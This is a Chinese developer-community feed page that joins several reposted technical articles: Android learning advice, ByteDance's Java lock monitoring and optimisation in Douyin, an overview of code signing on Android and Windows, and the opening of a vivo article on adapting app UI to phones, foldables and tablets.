Jetpack的意义在于帮我们在SDK基础上提供了一系列中间件工具,让我们可以摆脱不断造轮子抄轮子的窘境。同类的解决方案首先考虑Jetpack其次考虑第三方实现,没毛病。

Jetpack本身也会不断吸收优秀的第三方解决方案进来。所以作为开发者实时关注其最新动态就可以了。

Compose是Google I/O 2019 发布的新的声明式的UI框架。其实Google内部自2017年便开始立项,目前API已稳定,构建,预览等开发体验已经趋于完整。

而且新的设计思想绝对是趋势,已经在react和flutter等前端领域中得到验证,ios开发中同期推出的swiftUI更是证明了业界对于这种声明式UI开发趋势的共识。这必将是日后Android app极为重要的编程方式。

开源框架底层原理

现在的面试从头到尾都是比较有深度的技术问题,虽然那些问题看上去在网上都能查到相关的资料,但面试官基本都是根据你的回答持续深入,如果没有真正对技术原理和底层逻辑有一定的了解是无法通过的。

很多看似无理甚至无用的问题,比如 “Okhttp请求复用有没有了解”,其实是面试官想借此看看你对网络优化和Socket协议的理解情况和掌握程度,类似问题都是面试官想借此看看你对相关原理的理解情况和掌握程度,甚至进而引伸到你对架构,设计模式的理解。只有在熟知原理的前提下,你才能够获得面试官的青睐。

Framework

Framework作为Android的框架层,为App提供了很多API调用,但很多机制都是Framework包装好后直接给App用的,如果不懂这些机制的原理,就很难在这基础上进行优化。

像启动监控、掉帧监控、函数插桩、慢函数检测、ANR监控,都需要比较深入的了解Framework,才能知道怎么去监控、利用什么机制监控、函数插桩插到哪里、反射调用该反射哪个类哪个方法哪个属性……

性能优化

性能优化是软件工程的深水区,也是衡量一个程序员能力高低的标准

想要搞清楚性能优化,必须对各种底层原理有着深度的了解,对各种 case非常丰富的经验;很多朋友经常遇到措手不及的问题,大多是因为对出现问题的情况和处理思路模糊不清,导致此原因就是因为没有彻底搞懂底层原理。

性能优化始终穿插在 App 整个研发生命周期中,不管是从 0 到 1 的建立阶段,还是从 1 到 N 打磨阶段,都离不开性能优化。

音视频

伴随着疫情的反复以及5G的普及,本就火爆的音视频技术是越来越热,很多大小厂在这几年也都纷纷入局。但音视频学习起来门槛比较高,没有比较系统的教程或者书籍,网上的博客文章也都是比较零散的。

招聘市场上,同级别的音视频开发要比应用开发薪资高出30%以上。

车载

在智能手机行业初兴起时,包括BAT在内许多传统互联网企业都曾布局手机产业,但是随着手机市场的基本定型,造车似乎又成了各大资本下一个追逐的方向。百度、小米先后宣布造车,阿里巴巴则与上汽集团共同投资创立了,面向汽车全行业提供智能汽车操作系统和智能网联汽车整体解决方案的斑马网络,一时间造车俨然成了资本市场的下一个风口。

而作为移动端操作系统的霸主Android,也以一种新的姿态高调侵入造车领域

关于学习

在学习的过程中,可能会选择看博客自学、看官方文档、看书、看大厂大牛整理的知识点文档、看视频,但要按学习效率来排序的话:报培训班>看视频>知识点>书籍>官方文档>博客

报班,可能很多朋友对于报班这个事情比较抵触,但不可否认,报一个培训班是可以学到很多深层次的、成体系的技术,像之前读书一样,都是捣碎了喂给你,并且培训班其实对于新技术、新趋势是相当敏锐的,可以第一时间接触,也会规避开自学的烦恼。

看视频,基本也是由别人捣碎知识点教会你,但较之培训班的话,视频的知识成体系吗?有没有过时?

大厂大牛整理的知识点文档,大厂大牛技术还是比较可靠的,这类型的知识点文档初版基本是可以放心享用,但如果只是少数人甚至是一个人进行维护的话,当整个文档的知识体系越来越广时,其中的部分知识点可能已经过时但一直没有时间更新

书籍,相比前者就更甚了,一个技术出来,先研究、再整理、修正……直到最后出版被你买到,中间经过的这段时间就是你落后于其他人的地方了,但其中的知识点基本可以肯定成体系、无重大错误。学习比较底层的,不会有很大改动的知识点还是相当不错的。

官方文档,这一块也是我思考了很久才排好,官方文档往往是第一手资源,对于有能力看懂的朋友来说,可以直接上手品尝。但其实很多开发拿到官方文档还是看的一知半解,再者说,自己看可能会有遗漏,还是没有别人一点一点将重点翻开来解读更好

博客,网络上的博客水平参差不齐,通常大家擅长的也不是同一个技术领域,往往是学习一块看A的,另一块看B的,而且网上很多博客都是抄来自己记录的,很多API已经过时了,甚至不少连代码都是完全错误的,这样的学习,可想而知……

最后

一些个人见解,也参考了不少大佬的观点,希望可以给大家带来一些帮助,如果大家有什么不同看法,也欢迎在评论区一起讨论交流

Android路漫漫,共勉!


作者:像程序一样思考
来源:juejin.cn/post/7128425172998029320

收起阅读 »

抖音 Android 性能优化系列:Java 锁优化

背景Java 多线程开发中为了保证数据的一致性,引入了同步锁(synchronized)。但是,对锁的过度使用,可能导致卡顿问题,甚至 ANR:Systrace 中的主线程因为等锁阻塞了绘制,导致卡顿 Slardar 平台(字节跳动内部 APM 平台,以下简称...
继续阅读 »

背景

Java 多线程开发中为了保证数据的一致性,引入了同步锁(synchronized)。但是,对锁的过度使用,可能导致卡顿问题,甚至 ANR:

  • Systrace 中的主线程因为等锁阻塞了绘制,导致卡顿

  • Slardar 平台(字节跳动内部 APM 平台,以下简称 Slardar)中搜索 waiting to lock 关键字发现很多锁导致的 ANR,仅 Java 锁异常占到总 ANR 的 3.9%


本文将着重向大家介绍 Slardar 线上锁监控方案的原理与使用方法,以及我们在抖音上发现的锁的经典案例与优化实践。

监控方案

获取运行时锁信息的方法有以下几种

方案应用范围特点
systrace线下可以发现锁导致的耗时没有调用栈
定制 ROM线下可以支持调用栈修改 ROM 门槛较高,仅支持特定机型
JVMTI线下只支持 Android8+ 设备不支持 release 包,且性能开销较大

考虑到,很多锁问题需要一定规模的线上用户才能暴露出来,另外没有调用栈难以从根本上定位和解决线上用户的锁问题。最终我们自研了一套线上锁监控系统,它需要满足以下要求:

  • 线上监控方案

  • 丰富的锁信息,包括 Java 调用栈

  • 数据分析平台,包括聚合能力,设备和版本信息等

  • 可纳入开发和合码流程,防止不良代码上线

这样的锁监控系统,能够帮助我们高效定位和解决线上问题,并实现防劣化。

锁监控原理

我们先从 Systrace 入手,有一类常见的耗时叫做 monitor contention,其实是 Android ART 虚拟机输出的锁信息。


简单介绍一下里面的信息

monitor contention with owner work_thread (27176) at android.content.res.Resources android.app.ResourcesManager.getOrCreateResources(android.os.IBinder, android.content.res.ResourcesKey, java.lang.ClassLoader)(ResourcesManager.java:901) waiters=1 blocking from java.util.ArrayList android.app.ActivityThread.collectComponentCallbacks(boolean, android.content.res.Configuration)(ActivityThread.java:5836)
  • 持锁线程:work_thread

  • 持锁线程方法:android.app.ResourcesManager.getOrCreateResources(…)

  • 等待线程 1 个

  • 等锁方法:android.app.ActivityThread.collectComponentCallbacks(…)

Java 锁,无论是同步方法还是同步块,虚拟机最终都会到 MonitorEnter。我们关注的 trace 是 Android 6 引入的, 在锁的开始和结束时分别调用ATRACE_BEGIN(...)ATRACE_END()

线上方案

默认情况下 atrace 是关闭的,开关在 ATRACE_ENABLED() 中。我们通过设置 atrace_enabled_tags 为 ATRACE_TAG_DALVIK 可以开启当前进程的 ART 虚拟机的 atrace。

再看 ATRACE_BEGIN(...)ATRACE_END() 的实现,其实是用 write 将字符串写入一个特殊的 atrace_marker_fd (/sys/kernel/debug/tracing/trace_marker)。

因此通过 hook libcutils.so 的 write 方法,并按 atrace_marker_fd 过滤,就实现了对 ATRACE_BEGIN(...)ATRACE_END() 的拦截。有了 BEGIN 和 END 后可以计算出阻塞时长,解析 monitor contention with owner... 日志可以得到我们关注的 Java 锁信息。

获取堆栈

到目前为止,我们已经可以监控到线上用户的锁问题。但是还不够,为了能够优化锁的性能,我们想需要知道等锁的具体原因,也就是 Java 调用栈。

获取 Java 调用栈,可以使用Thread.getStackTrace()方法。由于我们 hook 住了虚拟机的等锁线程,此时线程处于一种特殊状态,不可以直接通过 JNI 调用 Java 方法,否则导致线上 crash 问题。


解决方案是异步获取堆栈,在 MonitorBegin 的时候通知子线程 5ms 之后抓取堆栈,MonitorEnd 计算阻塞时长,并结合堆栈数据一起放入队列,等待上报 Slardar。如果 MonitorEnd 时不满足 5ms 则取消抓栈和上报


数据平台

由于方案本身有一定性能开销,我们仅对灰度测试中的部分用户开启了锁监控。配置线上采样后,命中的用户将自动开启锁监控,数据上报 Slardar 平台后就可以消费了。


具体 case 可以看到设备信息、阻塞时长、调用堆栈


根据调用栈查找源码,可以定位到是哪一个锁,说明上报数据是准确的。


稳定性方面,10 万灰度用户开启锁监控后,无新增稳定性问题。

优化实践

经过多轮锁收集和治理,我们取得了一些不错的收益,这里简单介绍下锁治理的几个典型案例。

典型案例

inflate 锁:

先解析一下什么是 inflate:Android 中解析 xml 生成 View 树的过程就叫做 inflate 过程。inflate 是一个耗时过程,常规的手段就是通过异步来减少其在主线程的耗时,这样大大的减少了卡顿、页面打开和启动时长;但此方式也会带来新的问题,比如 LayoutInflater 的 inflate 方法中有加锁保护的代码块,并行构建会造成锁等待,可能反而增加主线程耗时,针对这个问题有三种解决方案:

  • 克隆 LayoutInflater

    • 把线程分为三类别:Main、工作线程和其它线程(野线程),Context(Activity 和 App)为每个类别提供专有 LayoutInflater,这样能有效的规避 inflate 锁。

    • 优点:实现简单、兼容性好

    • 缺点:LayoutInflater 中非安全的静态属性在并发情况下有概率产生稳定性问题

  • code 构造替代 xml 构造

    • 这种方式完美的绕开了 inflate 操作,极大提高了 View 构造速度。

    • 优点:复杂度高、性能好

    • 缺点:影响编译速度、View 自定义属性需要做转换、存在兼容性问题(比如厂商改属性)

  • 定制 LayoutInflater

    • 自定义 FastInflater(继承自 LayoutInflater)替换系统的 PhoneLayoutInflater,重写 inflate 操作,去掉锁保护;从统计数据看,在并发时快了约 4%。

    • 优点:复杂度高、性能好

    • 缺点:存在兼容性,比如华为的 Inflater 为 HwPhoneLayoutInflater,无法直接替换。

文件目录锁:

ContextImpl 中获取目录(cache、files、DB 和 preferenceDir)的实现有两个关键耗时点:1. 存在 IPC(IStorageManager.mkdir)和文件 check;2. 加锁“nSync”保护;所以 ipc 变长和并发存在,都可能导致 App 卡顿,如图为 Anr 数据:

相关的常用 Api 有 getExternalCacheDir、getCacheDir、getFilesDir、getTheme 等,考虑到系统的部分目录一般不会发生变化,所以我们可以对一些不会变化的目录进行 cache 处理,减少带 锁方法块的执行,从而有效的绕过锁等待。

MessageQueue:

Android 子线程与主线程通讯的通用方式是向主线程 MessageQueue 中插入一个任务(message),等此任务(message)被主线程 Looper 调度执行;所以 MessageQueue 中会对消息链表的修改加锁保护,主要实现在 enqueueMessage 和 next 两个方法中。

利用 Slardar 采集线上锁信息,根据这些信息,我们可以轻松追踪锁的执有线程和 owner,最后根据情况将请求(message)移到子线程,这样就可以极大的减轻主线程压力和等锁的可能性。此问题的修改方式并不复杂,重点在于如何监控到这些执锁线程。


序列化和反序列化:

抖音中有一些常用数据对象使用 Json 格式存储。为保证这些数据的完整性,在读取和存储时加了锁保护,从而导致锁等待比较常见,这种情况在启动场景特别明显;所以要想减少锁等待,就必段加快序列化和反序列化,针对这个问题,我们做了三个优化方案:

  • Gson 反序列化的耗时集中在 TypeAdapter 的构建,此过程利用反射创建 Filed 和 name(key)的映射表;所以我们在编译时针对数据类创建对应的 TypeAdapter,大大减少反序列化的时耗。

  • 部分类使用 parcel 序列化和反序列化,大大提高了速度,约减少 90%的时耗。

  • 大对像根据情况拆分成多个小对像,这样可以减少锁粒度,也就减少了锁等待。以上方案在抖音项目中都有使用,取得了很不错的收益。

AssetManager 锁:

获取 string、size、color 或 xml 等资源的最终实现基本都封装在 AssertManager 中,为了保证数据的正确性,加了锁(对象 AssetManager)保护,大致的调用关系如图:

常用的调用点有:

  • View 构造方法中调用 context.obtainStyledAttributes(…)获取 TypedArray,最后都会调用 AssetManager 的带锁方法。

  • View 的 toString 也调用了 AssetManager 的带锁方法。

随着 xml 异步 inflate 的增加,这些方法并发调用也增加,造成主线程的锁等待也日渐突出,最终导致卡顿,针对这个问题,目前我们的优化方案主要有:

  • 去掉多余的调用,比如 View 的 toString,这个常见于日志打印。

  • 一个 Context 根据线程名提供不同的 AssetManager,绕过 AssetManager 对象锁;此方法可能带来一些内存消耗。

So 加载锁优化:

Android 提供的加载 so 的接口实现都在封装在 Runtime 中,比如常用的 loadLibrary0 和 load0,如图 1 和 l 图 2 所示,此方法是加了锁的,如果并发加载 so 就会造成锁等待。通过 Slardar 的监控数据,我们验证了这个问题,同时也有一些意外收获,比如平台可能有自己的 so 需要加:

我们根据 so 的不同情况,主要有以下优化思路:

  • 对于 cinit 加载的 so,我们可以提前在子线程中加载一下 cinit 的宿主类。

  • 业务层面的 so, 可以统一在子线程中进行提前加载。

  • 使用 load0 替代 loadLibrary0,可以减少锁中拼接 so 路径的时耗。

  • so 文件加载优化,比如 JNI_OnLoad。

ActivityThread:

在收集的的数据中我们也发现了一些系统层的框架锁,比如下图这个:


这个问题主要集中在启动阶段,ams 会发 trim 通知给 ActivityThread 中的 ApplicationThread,收到通知后会向 Choreographer 的 commit 列表(此任务列表不作展开)中添加一个 trim 任务,也就是在下个 vsync 到达时被执行;

trim 过程主要包括收集 Applicatioin、Activity、Service、Provider 和向它们发送 trim 消息,也是系统提供给业务清理自身内存的一个时机;收集过程是加锁(ResourcesManager)保护的,如图:

考虑到启动阶段并不太关心内存的释放,所以可以尝试在启动阶段,比如 40 秒内,不执行 trim 操作;具体的实现是这样,首先替换 Choreographer 的 FrameHandler, 这样就能接管 vsync 的 doFrame 操作,在启动 40 秒内的每次 vsync 主动 check 或删除 commint 任务列表中的 trim 操作。


收益

在抖音中我们除了优化前面列出的这些典型锁外,还优化了一些业务本身的锁,部分已经通过线上实验验证了收益,也有一些还在尝试实验中;通过对实验中各指标的分析,也证实了锁优化能带来启动和流畅度等技术收益,间接带来了不错的业务收益,这也坚定了我们在这个方向上的继续探索和深化。

小结

前面列出的只是有代表性的一些通用 Java 锁,在实际开发中遇到的远比这多,但不管什么样的锁,都可以根据进程和代码归属分为以下四类:业务锁、依赖库锁、框架锁和系统锁;

不同类型的锁优化思路也会不一样,部分方案可以复用,部分只能 case-by-case 解决,具体的优化方案有:减少调用、绕过调用、使用读写锁和无锁等。


分类描述进程代码优化方案
业务锁源码可见,可以直接修改;比如前面的序列化优化。App 进程包含直接优化;静态 aop
依赖库锁包含编译产物,可以修改产物App 进程包含直接优化;静态 aop
框架锁运行时加载,同时存在兼容性;比如前面提到的 inflate 锁、AssetManager 锁和 MessageQueue 锁App 进程不包含减少调用;动态 aop
系统锁系统为 App 提供的服务和资源,App 间存在竞争,所以服务层需要加锁保护,比如 IPC、文件系统和数据库等服务进程不包含减少调用

总结

经过了长达半年的探索和优化,此方案已在线上使用,作为我们日常防劣化和主动优化的输入工具,我们评判的点主要有以下四个:

  • 稳定性:线上开启后,ANR、Crash 和 OOM 和大盘一致。

  • 准确性:从目前线上的消费数据来看,这个值达到了 99%。

  • 扩展性:业务可以根据场景开启和关闭采集功能,也可以收集指定时间内的锁,比如启动阶段可以收集 32ms 的锁,其它阶段收集 16ms 的锁。

  • 劣化影响:从线上实验数据看,一定量(UV)的情况下,业务和性能(丢帧和启动)无显著劣化。

此方案虽然只能监控 synchronized 锁,像 CAS、Native 锁、sleep 和 wait 都无法监控,但在我们日常开发中synchronized 锁占比非常大, 所以基本满足了我们绝大部分的需求,当然,我们也在持续探索其它锁的监控和验证其价值。

————————————————
来源: 字节跳动技术团队
原文:blog.csdn.net/ByteDanceTech/article/details/125863436

收起阅读 »

浅谈程序的数字签名

理论基础数字签名它是基于非对称密钥加密技术与数字摘要算法技术的应用,它是一个包含电子文件信息以及发送者身份,并能够鉴别发送者身份以及发送信息是否被篡改的一段数字串。一段数字签名数字串,它包含电子文件经过Hash编码后产生的数字摘要,即一个Hash函数值以及发送...
继续阅读 »

理论基础

数字签名它是基于非对称密钥加密技术与数字摘要算法技术的应用,它是一个包含电子文件信息以及发送者身份,并能够鉴别发送者身份以及发送信息是否被篡改的一段数字串。

一段数字签名数字串,它包含电子文件经过Hash编码后产生的数字摘要,即一个Hash函数值以及发送者的公钥和私钥三部分内容。发送方通过私钥加密后发送给接收方,接收方使用公钥解密,通过对比解密后的Hash函数值确定数据电文是否被篡改。

数字签名(又称公钥数字签名)是只有信息的发送者才能产生的别人无法伪造的一段数字串,这段数字串同时也是对信息的发送者发送信息真实性的一个有效证明。

它是一种类似写在纸上的普通的物理签名,但是在使用了公钥加密领域的技术来实现的,用于鉴别数字信息的方法。


数字签名方案是一种以电子形式存储消息签名的方法。一个完整的数字签名方案应该由两部分组成:签名算法和验证算法。


android数字签名

在android的APP应用程序安装过程中,系统首先会检验APP的签名信息,如果发现签名文件不存在或者校验签名失败,系统则会拒绝安装,所以APP应用程序在发布到市场之前一定要进行签名。

OTA升级中也必须使用到数字签名进行校验,在应用版本迭代必须使用相同的证书签名,不然会生成一个新的应用,导致更新失败。在更新过程中使用相同的证书签名的应用可以共享代码和功能

App安装过程中签名检验的流程:

1、检查 APP中包含的所有文件,对应的摘要值与 MANIFEST.MF 文件中记录的值一致。

2、使用证书文件(RSA 文件)检验签名文件(SF文件)是否被修改过。

3、使用签名文件(SF 文件)检验 MF 文件没有被修改过。


CERT.RSA包含数字签名以及开发者的数字证书。CERT.RSA里的数字签名是指对CERT.SF的摘要采用私钥加密后的数据;

MANIFEST.MF文件中是APP中每个文件名称和摘要SHA256;

CERT.SF则是对MANIFEST.MF的摘要

android中的数字签名有2个主要作用:

1、能定位消息确实是由发送方签名并发出来的,其他假冒不了发送方的签名。

2、确定消息的完整性,签名它代表文件的特征,文件发生变化,数字签名的数值也会发送变化。

Anroid中的签名证书不需要权威机构认证,一般是开发者的自签名证书。所以签名信息中会包含有开发者信息,在一定程度上可以防止应用被破解二次打包成山寨的APP应用,所以签名信息也是用于对APP包防二次打包的一个校验功能点。


(上图是android studio中自创建签名的界面)

在 Android Studio中通过上图创建签名信息后,最终会生成一个 .jks 的文件,它是用作证书和私钥的二进制文件。


(上图是反编译工具直接查看app的签名信息),也可以通过jarsigner,jadx,jeb等工具查看app的签名信息。

从上图中可以看到这个APP采用了V1和V2签名信息,Android中的签名目前主要由V1、V2、V3、V4组成的。

v1签名方案:基于 JAR 签名,签名完之后是META-INF 目录下的三个文件:MANIFEST.MF、CERT.SF、CERT.RSA。通过这三个文件校验来确保APP中的每个文件都不被改动。

APK v1的缺点就是META-INF目录下的文件并不在校验范围内,所以之前多渠道打包等都是通过在这个目录下添加文件来实现的。

V2签名方案:它是在Android 7.0系统中引入,为了使 APP可以在 Android 6.0 (Marshmallow) 及更低版本的设备上安装,应先使用 JAR 签名功能对 APP 进行签名,然后再使用 v2 方案对其进行签名。它是一个全文件的签名方案,它能够发现对 APP的受保护部分进行的所有更改,从而有助于加快验证速度并增强完整性保证。

V2签名,它会在 APP文件中插入一个APP签名分块,该分块位于“ZIP 中央目录”部分之前并紧邻该部分。在“APP签名分块”内,v2 签名和签名者身份信息会存储在 APK 签名方案 v2 分块中。


V3签名方案:它是Android 9.0系统中引入,基于 v2签名的升级,Android 9 支持 APK密钥轮替,这使应用能够在 APK 更新过程中更改其签名密钥。为了实现轮替,APK 必须指示新旧签名密钥之间的信任级别。v3 在 APK 签名分块中添加了有关受支持的 SDK 版本和 proof-of-rotation 结构的信息。

下面链接官方对V3签名相关的说明

https://source.android.google.cn/security/apksigning/v3

APK 密钥轮替功能可以参考:

https://developer.android.google.cn/about/versions/pie/android-9.0

V4签名方案:它是在Android 11.0 引入,用来支持 ADB 增量 APK 安装。通过 APK 签名方案 v4 支持与流式传输兼容的签名方案。v4 签名基于根据 APK 的所有字节计算得出的 Merkle 哈希树。

Android 11 将签名存储在单独的 .apk.idsig 文件中。

下面2个链接是官方对V4签名的相关说明

https://source.android.google.cn/security/apksigning/v4

https://developer.android.google.cn/about/versions/11/features

从上面的签名信息截图中,也可以看到android的签名采用的是X.509V3国际标准。

这个标准下约定了签名证书必须包含以下的内容。

1、证书的序列号

2、证书所使用的签名算法

3、证书的发行机构名称,命名规则一般采用X.500格式

4、证书的有效期

5、证书的所有人的名称

6、证书所有人的公开密钥

7、证书发行者对证书的签名

从上图APP的签名信息中数字签名要包含摘要加密算法:MD5、SHA-1、SHA-256

MD5是一种不可逆的加密算法。

SHA1:它是由NISTNSA设计为同DSA一起使用的,它对长度小于264的输入,产生长度为160bit的散列值,因此抗穷举(brute-force)性更好。

SHA-256 是 SHA-1 的升级版,现在 Android 签名使用的默认算法都已经升级到 SHA-256 了。

摘要算法中又涉及到对称加密和非对加密

对称加密就是在加密和解密过程中需要使用同一个密钥

非对称加密使用公钥/私钥中的公钥来加密明文,然后使用对应的私钥来解密密文。

APP中如果没采用加固保护,容易出现二次打包重新签名的山寨APP。

APP中二次打包流程:破解者需要对APK文件做反编译分析,反编译为smali代码,并对某些关键函数或者资源进行修改,再回编译为apk文件并重签名。

常见的对抗二次打包的方案:

1、签名校验

原理:二次打包会篡改签名,通过签名前后的变化可以检测是否被二次打包;但是这种很容易被hook掉。

2、文件校验

原理:二次打包前后apk关键文件hash值比较,判断是否被修改;但是这种很容易被hook掉。

3、核心函数转为jni层实现

原理:java层代码转为jni层实现,jni层代码相对而言篡改难度更大;写大量反射代码降低了开发效率。

window数字签名

Window的数字签名是微软的一种安全保障机制。

Window数字签名中的签名证书用于验证开发者身份真实性、保护代码的完整性。用户下载软件时,能通过数字签名验证软件来源可信,确认软件、代码没有被非法篡改或植入病毒。所以,软件开发者会在软件发行前使用代码签名证书为软件代码添加数字签名。

对于一个Windows的可执行应用程序,签发数字签名的时候需要计算的数据摘要并不会是程序文件的全部数据,而是要排除一些特定区域的数据。而这些区域当然和PE文件结构有关,具体地,不管是签发时还是校验时计算的hash都会排除一个checksum字段、一个Security数据目录字段以及数字签名证书部分的数据。


Window签名的RSA算法:通过公钥与私钥来判断私钥的合法。

公钥与私钥具有对称性,既可以通过私钥加密,公钥解密,以此来论证私钥持有者的合法身份。也可以通过公钥加密,私钥解密,来对私钥持有者发信息而不被泄露。

由于在交换公钥时免不了遭遇中间人劫持,因此window程序的签名证书,都需要第三方权威机构的认证,并不像android程序一样开发者可以对自己程序签发证书。


(查看某程序的数字签名信息)

从上面截图中看到了摘要算法用到sha1和sha256。

由于SHA-256更强的安全性,现在SHA-256已经作为代码签名证书的行业标准签名算法。

从上图中看到程序拥有2个签名信息,也就是双签名机制。

双签名就是对一个软件做两次签名,先进行SHA1签名,之后再进行SHA2签名的做法就叫做双签名。双签名需要一张支持SHA1和SHA2算法的代码签名证书,利用具备双签名功能的工具导入申请的代码签名证书对软件或应用程序进行双签名,签发后的软件或应用程序就支持SHA1和SHA2签名算法。

Windows10要求使用SHA2算法签名,而Windows7(未更新补丁的)因其兼容性只能使用SHA1算法签名,那么使用一张支持双签SHA1和SHA2算法的代码签名证书就可以实现。

软件签名校验的流程图


Windows系统验证签名流程

1、系统UAC功能开启(用户账户控制功能,默认开启);

2、程序启动时,进行CA校验程序签名信息;

2.1、使用同样算法对软件产生Hash表

2.2、使用公钥产生一个Hash表认证摘要

2.3、比较程序的Hash表认证摘要 与 自己生成的Hash表认证摘要是否一致。

3、程序在window系统执行功能。

数字签名的验证过程本质:

1、通过对要验证的软件创建hash数据;

2、使用发布者的公共密匙来解密被加密的hash数据;

3、最后比较解密的hash和新获得的hash,如果匹配说明签名是正确的,软件没有被修改过。

代码实现校验程序是否有签名,它本质上就是被加密的hash和发布者的数字证书被插入到要签名的软件,最后在进行校验签名信息。


(实现判断程序是否有签名功能)

代码实现可以通过映射文件方式,然后去安装PE文件结构去读取,读取到可选头中的数据目录表,通过判断数据目录表中

IMAGE_DIRECTORY_ENTRY_SECURITY的虚拟地址和大小不为空,那么就表示改应用程序有签名,因为数据签名都是存在在这个字段中。



同样如果要将某个应用程序的签名信息给抹除了,也是一样的思路,将数据目录表中的IMAGE_DIRECTORY_ENTRY_SECURITY的大小和地址都设置为0即可。


下图通过PE工具,可以查看这个字段Security的虚拟地址和大小不为空那么表示应用程序经过签名的。


小结

数字签名不管是在android端还是window端,它都是一种应用程序的身份标志,在安全领域中对应用程序的数字签名校验是一个很常见的鉴别真伪的一个手段。

现在很多杀毒的厂商也都是通过这个数字签名维度,作为一个该应用程序是否可信程序的校验,虽然一些安全杀毒厂商签完名后还是误报毒,那这只能找厂商开白名单了。

来源:mp.weixin.qq.com/s/gC1sqVlLdPQcJg6OkgwzZg

收起阅读 »

vivo官网APP全机型UI适配方案

日益新增的机型,给开发人员带来了很多的适配工作。代码能不能统一、apk 能不能统一、物料如何选取、样式怎么展示等等都是困扰开发人员的问题,本方案就是介绍不同机型的共线方案,打消开发人员的疑虑。一、日益纷繁的机型带来的挑战1.1  背景科技是进步的,人...
继续阅读 »

日益新增的机型,给开发人员带来了很多的适配工作。代码能不能统一、apk 能不能统一、物料如何选取、样式怎么展示等等都是困扰开发人员的问题,本方案就是介绍不同机型的共线方案,打消开发人员的疑虑。


一、日益纷繁的机型带来的挑战


1.1  背景


科技是进步的,人们对美的要求也是逐渐提升的,所以才有了现在市面上形形色色的机型


(1)比如 vivo X60 手机采用纤薄曲面屏设计,属于直板机型。



(2)比如 vivo 折叠屏高端手机,提供更优质的视觉体验,属于折叠屏机型。



(3)比如 vivo pad,拥有优秀的操作手感和高级的质感,属于平板机型。



1.2  我们的挑战


在此之前,我们主要是为直板手机去服务,我们的开发只要适配这种主流的直板机器,我们的 UI 主要去设计这种直板手机的效果图,我们的产品和运营主要为这种直板机型去选择物料。



可是随着这种形形色色机型的出现,那么问题就来了:

(1)开发人员的适配成本高了,是不是针对每一种机型,都要做个单独的应用进行适配呢?

(2)UI 设计师要做的效果图要多了,是不是要针对每种机型都要设计一套效果图呢?

(3)产品和运营需要选择的物料更受限制了,会不会这个物料在一个机器上正常。在其他机器上就不正常了呢?


为什么这么说,下面以开发者的角度来做介绍,把我们面临的问题,做说明。


二、 开发者的窘境


2.1 全机型适配成本太高


日渐丰富的机型适配让我们这些 android 开发人员疲于奔命,虽然可以按照要求进行适配,但是大屏幕的机型适配成本依然比较高,因为这些机型不同于传统的直板手机的宽高比例(9:16)。所以有的应用干脆就直接两边留白,内容区域展示在屏幕正中央,这种效果,当然很差。

案例 1:某个视频 APP 页面,未做 pad 上的适配,打开之后的效果如下,两边大量留白,是不可操作的区域。


案例 2:某新闻资讯类 APP,在 pad 上的适配效果如下,可见的范围内,信息流展示内容较少,图片有拉伸、模糊的问题。



2.2 全机型适配成本高在哪


上面的案例其实只是表面的问题之一,作为开发人员,需要考虑的因素有很多,首先要想到这些机型有什么特点:


然后才是需要解决的问题:



三、寻找全机型适配方案之旅


3.1 方案讨论与确定


页面拉伸、左右留白是现象,这也是用户的直接体验。那么这就是我们要改善的地方,所以现在就有方向了,围绕着 “如何在可见区域内,展示更多的信息” 。这不是布局的简单重新排列组合,因为  方案绝对不是只有开发决定如何实现就可以怎么实现的,一个 apk 承载着功能到用户手里涉及了多方角色的介入。产品经理需要整理需求、运营人员需要配置物料、发布 apk,测试需要测试等等,所以最终的方案不是一方定下来的,而是一个协调统一后的结果。


既然要去讨论方案,那么就要有依据,在此省略讨论、评审、定稿的过程。


先来看看直板、折叠屏、pad 的外部轮廓图,知道页面形态如何。



3.2 方案落地示意图


每个应用要展示的内容不一致,但是原理一致,此处就以下面几个样式为基础介绍原理。原则也比较简单,尽可能展示更多内容,不要出现大面积的空白区域。


下面没有介绍分栏模式的适配,因为分栏的模式也可能被用户关闭,最终成为全屏模式,所以说,可以选择只适配全屏模式,这样的适配成本较低。当然,这个也要根据自己模块的情况来确定,比如微信,更适合左右屏的分栏模式。


3.2.1 直板机型适配方案骨骼图


直板机型,目前主流的机型,宽高比基本是 9:16,可以最大限度地展示比较多的内容,比如下图中的模块 1、模块 2、 模块 3 的图片。



3.2.2 折叠屏机型适配方案骨骼图


折叠屏机型,屏幕可旋转,但是宽高比基本是 1:1,高度和直板机器基本差不多,可以达到 2000px 的像素,所以在纵向上,也可以最大限度地展示比较多的内容,比如下图中的模块 1、模块 2、 模块 3 的图片。



3.2.3 PAD 机型适配方案骨骼图


pad 平板,屏幕可旋转,并且旋转后的宽高比差异较大,纵向时,宽高比是 5 : 8,横向时,宽高比是 8 : 5。


在 pad 纵向时,其实高度像素是足够展示很多内容的,比如下图中的模块 1、模块 2、 模块 3 的图片;


但是在 pad 横向时,没办法展示更多的内容(倒是有个方案,最后再说),只能下图中的模块 1、模块 2 的图片。



3.3 方案落地规范


3.3.1 一套代码适配所有机型


确定一个 apk 能不能适配所有机型,首先要解决的是要符合不同机型的特性,比如直板手机只能纵向显示,折叠屏和 pad 支持横竖屏旋转。


描述如下:


(1)需求

  • 直板屏:强制固定竖屏;

  • 折叠屏:外屏固定竖屏、内屏 (大屏) 支持横竖屏切换;

  • PAD 端:支持横竖屏切换;

我们需要在以上三端通过一套代码实现上面的需求。


(2)横竖屏切换

有以下 2 种方法:
方式 1)

通过在 AndroidManifest.xml 中设置:

android:screenOrientation 属性
a) android:screenOrientation="portrait" 

强制竖屏;
b) android:screenOrientation="landscape" 

强制横屏;
c) android:screenOrientation="unspecified" 

默认值,可以横竖屏切换;


方式 2)

在代码中设置:

activity.setRequestedOrientation(****);
a) setRequestedOrientation

(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);    设置竖屏;

b)setRequestedOrientation

(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); 设置横屏;
c)setRequestedOrientation

(ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED); 可以横竖屏切换;


(3)不同设备支持不同的屏幕横竖屏方式


1)直板屏:

因为是强制竖屏,所以,可以通过在 AndroidManifest.xml 中给 Activity 设置 android:screenOrientation="portrait"。


2)折叠屏:

